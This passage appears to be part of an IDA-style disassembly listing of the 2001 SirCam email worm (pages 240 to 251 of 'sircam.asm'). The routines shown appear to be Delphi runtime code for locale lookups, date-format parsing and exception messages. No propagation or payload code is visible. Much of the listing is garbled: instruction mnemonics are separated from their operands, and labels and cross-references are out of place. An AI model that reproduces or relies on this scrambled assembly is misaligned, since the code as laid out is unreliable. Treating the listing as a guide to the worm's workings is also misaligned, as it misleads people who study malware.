short loc_408D2E
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_408D25:
; CODE XREF: sub_408CEC+25\030j
mov
mov
call
eax, ebx
edx, esi
sub_40351C
pop
pop
mov
pop
retn
endp
esi
ebx
esp, ebp
ebp
4
loc_408D2E:
sub_408CEC
; CODE XREF: sub_408CEC+37\030j
sircam.asm
Fri Aug 10 12:42:44 2001
240
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_408D38
proc near
var_10
= byte ptr -10h
; CODE XREF: sub_40A020+AD\031p
; sub_40A020+C0\031p ...
push
ebx
push
esi
push
edi
push
ecx
mov
ebx, ecx
mov
esi, edx
mov
edi, eax
push
2
lea
eax, [esp+4]
push
eax
push
esi
push
edi
call
j_GetLocaleInfoA_0
test
eax, eax
jle
short loc_408D59
mov
al, [esp+10h+var_10]
jmp
short loc_408D5B
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_408D59:
; CODE XREF: sub_408D38+1A\030j
mov
eax, ebx
loc_408D5B:
sub_408D38
; CODE XREF: sub_408D38+1F\030j
pop
edx
pop
edi
pop
esi
pop
ebx
retn
endp ; sp = -10h
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_408D60
proc near
var_4
arg_0
arg_8
= dword ptr -4
= dword ptr 8
= dword ptr 10h
push
mov
push
push
push
push
mov
mov
mov
mov
push
mov
mov
xor
mov
call
ebp
ebp, esp
ecx
ebx
esi
edi
[ebp+var_4], ecx
edi, edx
esi, eax
ebx, [ebp+arg_0]
ebx
eax, [ebp+arg_8]
eax, [eax-4]
ecx, ecx
edx, esi
sub_408CEC
; CODE XREF: sub_408D9C+46\031p
; sub_408D9C+69\031p ...
sircam.asm
Fri Aug 10 12:42:44 2001
cmp
jnz
mov
mov
mov
call
dword ptr [ebx], 0
short loc_408D93
eax, [ebp+var_4]
eax, [eax+edi*4]
edx, ebx
sub_404B80
pop
pop
pop
pop
pop
retn
endp
edi
esi
ebx
ecx
ebp
8
loc_408D93:
sub_408D60
241
; CODE XREF: sub_408D60+24\030j
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_408D9C
proc near
var_18
var_14
var_10
var_C
var_8
var_4
=
=
=
=
=
=
dword
dword
dword
dword
dword
dword
ptr
ptr
ptr
ptr
ptr
ptr
; CODE XREF: sub_40A020+23\031p
-18h
-14h
-10h
-0Ch
-8
-4
push
mov
xor
push
push
push
push
push
push
push
push
push
xor
push
push
push
mov
call
mov
mov
mov
mov
ebp
ebp, esp
ecx, ecx
ecx
ecx
ecx
ecx
ecx
ecx
ebx
esi
edi
eax, eax
ebp
offset loc_408EAF
dword ptr fs:[eax]
fs:[eax], esp
j_GetThreadLocale_0
[ebp+var_4], eax
ebx, 1
esi, offset unk_41E510
edi, offset unk_41E540
push
push
lea
push
mov
mov
dec
lea
dec
call
pop
mov
mov
call
; CODE XREF: sub_408D9C+83\031j
ebp
0Bh
eax, [ebp+var_C]
eax
ecx, offset off_41C160
edx, ebx
edx
eax, [ebx+44h]
eax
sub_408D60
ecx
edx, [ebp+var_C]
eax, esi
sub_40351C
loc_408DCF:
sircam.asm
Fri Aug 10 12:42:44 2001
push
push
lea
push
mov
mov
dec
lea
dec
call
pop
mov
mov
call
inc
add
add
cmp
jnz
mov
mov
mov
ebp
0Bh
eax, [ebp+var_10]
eax
ecx, offset off_41C190
edx, ebx
edx
eax, [ebx+38h]
eax
sub_408D60
ecx
edx, [ebp+var_10]
eax, edi
sub_40351C
ebx
edi, 4
esi, 4
ebx, 0Dh
short loc_408DCF
ebx, 1
esi, offset unk_41E570
edi, offset unk_41E58C
lea
mov
cdq
idiv
mov
push
push
lea
push
mov
mov
dec
mov
add
call
pop
mov
mov
call
push
push
lea
push
mov
mov
dec
mov
add
call
pop
mov
mov
call
inc
add
add
cmp
jnz
xor
pop
pop
pop
mov
push
eax, [ebx+5]
ecx, 7
loc_408E30:
loc_408EA1:
242
; CODE XREF: sub_408D9C+F6\031j
ecx
[ebp+var_8], edx
ebp
6
eax, [ebp+var_14]
eax
ecx, offset off_41C1C0
edx, ebx
edx
eax, [ebp+var_8]
eax, 31h
sub_408D60
ecx
edx, [ebp+var_14]
eax, esi
sub_40351C
ebp
6
eax, [ebp+var_18]
eax
ecx, offset off_41C1DC
edx, ebx
edx
eax, [ebp+var_8]
eax, 2Ah
sub_408D60
ecx
edx, [ebp+var_18]
eax, edi
sub_40351C
ebx
edi, 4
esi, 4
ebx, 8
short loc_408E30
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_408EB6
; CODE XREF: CODE:00408EB4\031j
sircam.asm
Fri Aug 10 12:42:44 2001
sub_408D9C
lea
eax, [ebp+var_18]
mov
edx, 4
call
sub_4034EC
retn
endp ; sp = -2Ch
243
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_408EAF:
; DATA XREF: sub_408D9C+11\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_408EA1
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_408EB6:
; DATA XREF: sub_408D9C+100\030o
pop
edi
pop
esi
pop
ebx
mov
esp, ebp
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_408EC0
proc near
arg_0
= dword ptr
; DATA XREF: sub_408F74+4E\031o
8
push
ebp
mov
ebp, esp
push
ebx
push
esi
xor
esi, esi
mov
ebx, 1
jmp
short loc_408ED4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_408ECE:
; CODE XREF: sub_408EC0+1C\031j
cmp
jz
inc
ebx, 7
short loc_408EF2
ebx
cmp
jnz
lea
mov
call
mov
; CODE XREF: sub_408EC0+C\030j
ds:dword_41E5B0[ebx*4], 0
short loc_408ECE
eax, dword_41E5B0[ebx*4]
edx, [ebp+arg_0]
sub_403680
esi, 1
loc_408ED4:
loc_408EF2:
sub_408EC0
; CODE XREF: sub_408EC0+11\030j
mov
pop
pop
pop
retn
endp
eax, esi
esi
ebx
ebp
4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_408EFC
proc near
; DATA XREF: sub_408F74+77\031o
sircam.asm
var_4
arg_0
Fri Aug 10 12:42:44 2001
244
= dword ptr -4
= dword ptr 8
push
ebp
mov
ebp, esp
push
0
push
ebx
push
esi
xor
eax, eax
push
ebp
push
offset loc_408F61
push
dword ptr fs:[eax]
mov
fs:[eax], esp
xor
esi, esi
mov
ebx, 1
jmp
short loc_408F20
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_408F1A:
; CODE XREF: sub_408EFC+2C\031j
cmp
jz
inc
ebx, 7
short loc_408F4B
ebx
cmp
jnz
lea
mov
call
mov
xor
call
mov
mov
; CODE XREF: sub_408EFC+1C\030j
ds:dword_41E5CC[ebx*4], 0FFFFFFFFh
short loc_408F1A
eax, [ebp+var_4]
edx, [ebp+arg_0]
sub_403680
eax, [ebp+var_4]
edx, edx
sub_407058
ds:dword_41E5CC[ebx*4], eax
esi, 1
xor
pop
pop
pop
mov
push
; CODE XREF: sub_408EFC+21\030j
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_408F68
loc_408F20:
loc_408F4B:
loc_408F58:
sub_408EFC
; CODE XREF: CODE:00408F66\031j
lea
eax, [ebp+var_4]
call
sub_4034C8
retn
endp ; sp = -14h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_408F61:
; DATA XREF: sub_408EFC+A\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_408F58
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_408F68:
; DATA XREF: sub_408EFC+57\030o
mov
eax, esi
pop
esi
pop
ebx
pop
ecx
pop
ebp
retn
4
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sircam.asm
Fri Aug 10 12:42:44 2001
245
; Attributes: bp-based frame
sub_408F74
proc near
var_4
= dword ptr -4
; CODE XREF: sub_40A020+31\031p
push
mov
push
push
xor
push
push
push
mov
lea
push
call
mov
mov
call
mov
mov
call
mov
mov
add
sub
jnb
push
push
call
push
push
call
mov
mov
ebp
ebp, esp
0
esi
eax, eax
ebp
offset loc_40900B
dword ptr fs:[eax]
fs:[eax], esp
eax, [ebp+var_4]
eax
j_GetThreadLocale_0
ecx, offset dword_409020
edx, 100Bh
sub_408CEC
eax, [ebp+var_4]
edx, 1
sub_407058
esi, eax
eax, esi
eax, 0FFFFFFFDh
eax, 3
short loc_408FF5
4
esi
j_GetThreadLocale_0
eax
offset sub_408EC0
j_EnumCalendarInfoA
edx, 7
eax, offset unk_41E5D0
mov
add
dec
jnz
push
push
call
push
push
call
; CODE XREF: sub_408F74+6C\031j
dword ptr [eax], 0FFFFFFFFh
eax, 4
edx
short loc_408FD6
3
esi
j_GetThreadLocale_0
eax
offset sub_408EFC
j_EnumCalendarInfoA
xor
pop
pop
pop
mov
push
; CODE XREF: sub_408F74+43\030j
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_409012
loc_408FD6:
loc_408FF5:
loc_409002:
sub_408F74
; CODE XREF: CODE:00409010\031j
lea
eax, [ebp+var_4]
call
sub_4034C8
retn
endp ; sp = -10h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40900B:
; DATA XREF: sub_408F74+9\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_409002
sircam.asm
Fri Aug 10 12:42:44 2001
246
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_409012:
; DATA XREF: sub_408F74+89\030o
pop
esi
pop
ecx
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
dd 0FFFFFFFFh, 1
dword_409020
dd 31h
; DATA XREF: sub_408F74+1D\030o
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Attributes: bp-based frame
sub_409024
proc near
var_10
var_C
var_8
var_4
=
=
=
=
dword
dword
dword
dword
ptr
ptr
ptr
ptr
; CODE XREF: sub_40A020+11C\031p
; sub_40A020+149\031p
-10h
-0Ch
-8
-4
push
ebp
mov
ebp, esp
xor
ecx, ecx
push
ecx
push
ecx
push
ecx
push
ecx
push
ebx
push
esi
push
edi
mov
edi, edx
mov
esi, eax
xor
eax, eax
push
ebp
push
offset loc_4091E6
push
dword ptr fs:[eax]
mov
fs:[eax], esp
mov
ebx, 1
mov
eax, edi
call
sub_4034C8
lea
eax, [ebp+var_4]
push
eax
call
j_GetThreadLocale_0
mov
ecx, offset dword_4091FC
mov
edx, 1009h
call
sub_408CEC
mov
eax, [ebp+var_4]
mov
edx, 1
call
sub_407058
add
eax, 0FFFFFFFDh
sub
eax, 3
jb
loc_4091BC
mov
ax, ds:word_41E5AC
sub
ax, 4
jz
short loc_409098
add
eax, 0FFFFFFF3h
sub
ax, 2
jb
short loc_409098
xor
eax, eax
jmp
short loc_40909A
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_409098:
; CODE XREF: sub_409024+65\030j
; sub_409024+6E\030j
mov
al, 1
sircam.asm
Fri Aug 10 12:42:44 2001
247
loc_40909A:
; CODE XREF: sub_409024+72\030j
test
al, al
jz
short loc_4090D3
jmp
short loc_4090C3
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4090A0:
; CODE XREF: sub_409024+A8\031j
mov
sub
jz
sub
jz
lea
mov
call
mov
mov
call
al, [esi+ebx-1]
al, 47h
short loc_4090C2
al, 20h
short loc_4090C2
eax, [ebp+var_8]
dl, [esi+ebx-1]
sub_403670
edx, [ebp+var_8]
eax, edi
sub_40372C
loc_4090C2:
; CODE XREF: sub_409024+82\030j
; sub_409024+86\030j
inc
ebx
loc_4090C3:
; CODE XREF: sub_409024+7A\030j
mov
eax, esi
call
sub_403724
cmp
ebx, eax
jle
short loc_4090A0
jmp
loc_4091CB
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4090D3:
; CODE XREF: sub_409024+78\030j
mov
eax, edi
mov
edx, esi
call
sub_40351C
jmp
loc_4091CB
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4090E1:
; CODE XREF: sub_409024+1A1\031j
mov
al, [esi+ebx-1]
and
eax, 0FFh
bt
ds:dword_41C104, eax
jnb
short loc_409117
lea
eax, [ebp+var_C]
push
eax
mov
ecx, 2
mov
edx, ebx
mov
eax, esi
call
sub_40392C
mov
edx, [ebp+var_C]
mov
eax, edi
call
sub_40372C
add
ebx, 2
jmp
loc_4091BC
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_409117:
; CODE XREF: sub_409024+CD\030j
mov
edx, offset dword_409200
lea
eax, [esi+ebx-1]
mov
ecx, 2
call
sub_4075E0
test
eax, eax
jnz
short loc_40913D
mov
eax, edi
mov
edx, offset dword_40920C
call
sub_40372C
inc
ebx
jmp
short loc_4091BB
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
sircam.asm
Fri Aug 10 12:42:44 2001
248
loc_40913D:
; CODE XREF: sub_409024+108\030j
mov
edx, offset aYyyy_0 ; "yyyy"
lea
eax, [esi+ebx-1]
mov
ecx, 4
call
sub_4075E0
test
eax, eax
jnz
short loc_409165
mov
eax, edi
mov
edx, offset aEeee ; "eeee"
call
sub_40372C
add
ebx, 3
jmp
short loc_4091BB
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_409165:
; CODE XREF: sub_409024+12E\030j
mov
edx, offset aYy ; "yy"
lea
eax, [esi+ebx-1]
mov
ecx, 2
call
sub_4075E0
test
eax, eax
jnz
short loc_40918B
mov
eax, edi
mov
edx, offset dword_409234
call
sub_40372C
inc
ebx
jmp
short loc_4091BB
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_40918B:
; CODE XREF: sub_409024+156\030j
mov
sub
jz
sub
jnz
al, [esi+ebx-1]
al, 59h
short loc_409197
al, 20h
short loc_4091A5
loc_409197:
; CODE XREF: sub_409024+16D\030j
mov
eax, edi
mov
edx, offset dword_409240
call
sub_40372C
jmp
short loc_4091BB
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4091A5:
lea
mov
call
mov
mov
call
; CODE XREF: sub_409024+171\030j
eax, [ebp+var_10]
dl, [esi+ebx-1]
sub_403670
edx, [ebp+var_10]
eax, edi
sub_40372C
loc_4091BB:
; CODE XREF: sub_409024+117\030j
; sub_409024+13F\030j ...
inc
ebx
loc_4091BC:
; CODE XREF: sub_409024+55\030j
; sub_409024+EE\030j
mov
call
cmp
jle
loc_4091CB:
eax, esi
sub_403724
ebx, eax
loc_4090E1
; CODE XREF: sub_409024+AA\030j
; sub_409024+B8\030j
xor
pop
pop
pop
mov
push
eax, eax
edx
ecx
ecx
fs:[eax], edx
offset loc_4091ED
sircam.asm
loc_4091D8:
sub_409024
Fri Aug 10 12:42:44 2001
249
; CODE XREF: CODE:004091EB\031j
lea
eax, [ebp+var_10]
mov
edx, 4
call
sub_4034EC
retn
endp ; sp = -24h
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4091E6:
; DATA XREF: sub_409024+13\030o
jmp
loc_402F60
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
jmp
short loc_4091D8
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4091ED:
; DATA XREF: sub_409024+1AF\030o
pop
edi
pop
esi
pop
ebx
mov
esp, ebp
pop
ebp
retn
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
dd 0FFFFFFFFh, 1
dword_4091FC
dd 31h
; DATA XREF: sub_409024+33\030o
dword_409200
dd 6767h, 0FFFFFFFFh, 3 ; DATA XREF: sub_409024+F3\030o
dword_40920C
dd 676767h
; DATA XREF: sub_409024+10C\030o
aYyyy_0
db ’yyyy’,0
; DATA XREF: sub_409024+119\030o
align 4
dd 0FFFFFFFFh, 4
aEeee
db ’eeee’,0
; DATA XREF: sub_409024+132\030o
align 4
aYy
db ’yy’,0
; DATA XREF: sub_409024+141\030o
align 4
dd 0FFFFFFFFh, 2
dword_409234
dd 6565h, 0FFFFFFFFh, 1 ; DATA XREF: sub_409024+15A\030o
dword_409240
dd 65h
; DATA XREF: sub_409024+175\030o
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
sub_409244
proc near
; CODE XREF: CODE:004092B3\031p
test
eax, eax
jz
short locret_40924D
sub
eax, 1000h
locret_40924D:
sub_409244
; CODE XREF: sub_409244+2\030j
retn
endp
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
align 4
push
ebp
mov
ebp, esp
add
esp, 0FFFFFBA8h
push
ebx
push
esi
push
edi
mov
[ebp-4], ecx
mov
ebx, edx
mov
esi, eax
push
1Ch
lea
eax, [ebp-330h]
push
eax
push
ebx
call
j_VirtualQuery_0
cmp
dword ptr [ebp-320h], 1000h
jnz
short loc_40929A
push
105h
lea
eax, [ebp-212h]
sircam.asm
Fri Aug 10 12:42:44 2001
push
mov
push
call
test
jnz
250
eax
eax, [ebp-32Ch]
eax
j_GetModuleFileNameA_1
eax, eax
short loc_4092BD
loc_40929A:
; CODE XREF: CODE:0040927C\030j
push
105h
lea
eax, [ebp-212h]
push
eax
mov
eax, ds:dword_41E4D4
push
eax
call
j_GetModuleFileNameA_1
mov
eax, ebx
call
sub_409244
mov
[ebp-8], eax
jmp
short loc_4092C6
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
loc_4092BD:
; CODE XREF: CODE:00409298\030j
sub
mov
ebx, [ebp-32Ch]
[ebp-8], ebx
lea
mov
call
mov
inc
lea
mov
call
mov
mov
mov
mov
call
test
jz
mov
call
mov
mov
call
test
jz
cmp
jz
mov
; CODE XREF: CODE:004092BB\030j
eax, [ebp-212h]
dl, 5Ch
sub_409F00
edx, eax
edx
eax, [ebp-10Dh]
ecx, 104h
sub_407588
ebx, offset dword_4093D0
edi, offset dword_4093D0
eax, esi
edx, ds:off_4061F4
sub_402C40
al, al
short loc_409322
eax, [esi+4]
sub_4038E8
ebx, eax
eax, ebx
sub_407534
eax, eax
short loc_409322
byte ptr [ebx+eax-1], 2Eh
short loc_409322
edi, offset dword_4093D4
loc_4092C6:
loc_409322:
; CODE XREF: CODE:004092FF\030j
; CODE:00409314\030j ...
push
lea
push
mov
mov
push
mov
call
push
call
lea
mov
call
lea
mov
mov
lea
100h
eax, [ebp-312h]
eax
eax, ds:off_41DC78
eax, [eax+4]
eax
eax, ds:dword_41E4D4
sub_404638
eax
j_LoadStringA_0
edx, [ebp-458h]
eax, [esi]
sub_402B5C
eax, [ebp-458h]
[ebp-358h], eax
byte ptr [ebp-354h], 4
eax, [ebp-10Dh]
sircam.asm
Fri Aug 10 12:42:44 2001
251
mov
[ebp-350h], eax
mov
byte ptr [ebp-34Ch], 6
mov
eax, [ebp-8]
mov
[ebp-348h], eax
mov
byte ptr [ebp-344h], 5
mov
[ebp-340h], ebx
mov
byte ptr [ebp-33Ch], 6
mov
[ebp-338h], edi
mov
byte ptr [ebp-334h], 6
lea
eax, [ebp-358h]
push
eax
push
4
lea
ecx, [ebp-312h]
mov
edx, [ebp+8]
mov
eax, [ebp-4]
call
sub_407AF8
mov
eax, [ebp-4]
call
sub_407534
pop
edi
pop
esi
pop
ebx
mov
esp, ebp
pop
ebp
retn
4
